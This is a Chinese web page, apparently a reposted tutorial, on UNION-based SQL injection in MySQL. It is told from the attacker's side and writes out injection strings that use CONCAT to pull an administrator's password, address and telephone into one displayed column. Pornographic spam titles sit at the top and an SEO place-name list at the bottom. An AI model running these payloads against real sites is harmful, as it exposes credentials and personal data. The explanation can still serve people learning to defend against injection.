国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 數(shù)據(jù)庫(kù) > MySQL > 正文

Mysql數(shù)據(jù)庫(kù)使用concat函數(shù)執(zhí)行SQL注入查詢

2024-07-24 12:46:18
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友

SQL注入語(yǔ)句有時(shí)候會(huì)使用替換查詢技術(shù),就是讓原有的查詢語(yǔ)句查不到結(jié)果出錯(cuò),而讓自己構(gòu)造的查詢語(yǔ)句執(zhí)行,并把執(zhí)行結(jié)果代替原有查詢語(yǔ)句查詢結(jié)果顯示出來(lái)。

例如:原本查詢語(yǔ)句是

復(fù)制代碼 代碼如下:

select username,email,content from test_table where user_id=uid;

其中uid,是用戶輸入的。正常顯示結(jié)果會(huì)出現(xiàn)用戶名,用戶郵箱,用戶留言內(nèi)容。但是如果uid過(guò)濾不嚴(yán),我們可以構(gòu)造如下SQL語(yǔ)句來(lái)獲得任意數(shù)據(jù)表信息。
復(fù)制代碼 代碼如下:

uid=-1 union select username ,password,content from test_talbe where user_id=管理員id;

實(shí)際執(zhí)行就是
復(fù)制代碼 代碼如下:

select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理員id;

其中顯示正常用戶emai的地方,變成了顯示管理員的密碼了。

但是,往往事情并不是這么簡(jiǎn)單,首先要找到漏洞,其次構(gòu)造這種語(yǔ)句時(shí)候要考慮各個(gè)字段的類(lèi)型,讓int或samllint類(lèi)型的字段顯示varchar顯然不合適。最后就是本文要說(shuō)的。

如果出現(xiàn)問(wèn)題的SQL語(yǔ)句只有一個(gè)或兩個(gè)字段怎么辦,我們想知道很多東西,一兩個(gè)字段太少了,遠(yuǎn)遠(yuǎn)不能滿足我們的需要。那么我們可以使用concat函數(shù)。

concat函數(shù)本來(lái)是這樣用的SELECT CONCAT('My', 'S', 'QL');執(zhí)行結(jié)果是'MySQL'。也就是連接作用的。我們利用它來(lái)為我們服務(wù),

復(fù)制代碼 代碼如下:

uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理員id;

這個(gè)語(yǔ)句實(shí)際查詢了六個(gè)字段,但是顯示的時(shí)候,把password,sex,address,telephone等字段合在一起,顯示在原本應(yīng)該顯示email的地方。

更好的方法:中間用分隔符分開(kāi):

復(fù)制代碼 代碼如下:

uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理員id;

其中0×3a是“:”的十六進(jìn) 制形式。

您可能感興趣的文章:

Mysql字符串截取函數(shù)SUBSTRING的用法說(shuō)明MySQL replace函數(shù)替換字符串語(yǔ)句的用法mysql獲取字符串長(zhǎng)度函數(shù)(CHAR_LENGTH)MySQL里實(shí)現(xiàn)類(lèi)似SPLIT的分割字符串的函數(shù)使用MySQL中的AVG函數(shù)求平均值的教程詳解Mysql中的JSON系列操作函數(shù)Mysql中LAST_INSERT_ID()的函數(shù)使用詳解mysql函數(shù)拼接查詢concat函數(shù)的使用方法MySQL筆記之函數(shù)查詢的使用mysql 查詢數(shù)據(jù)庫(kù)中的存儲(chǔ)過(guò)程與函數(shù)的語(yǔ)句MySQL使用集合函數(shù)進(jìn)行查詢操作實(shí)例詳解
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 离岛区| 山西省| 西青区| 安溪县| 靖州| 万盛区| 贵州省| 双城市| 北海市| 平定县| 泰顺县| 衡阳县| 西盟| 鱼台县| 昌吉市| 公安县| 湖州市| 汶川县| 洪湖市| 灌云县| 微博| 江口县| 巴林右旗| 刚察县| 韶关市| 英吉沙县| 邹城市| 仙游县| 屏南县| 浮梁县| 汶上县| 新闻| 镇沅| 乐山市| 仙居县| 谢通门县| 唐海县| 忻州市| 星子县| 金乡县| 磐石市|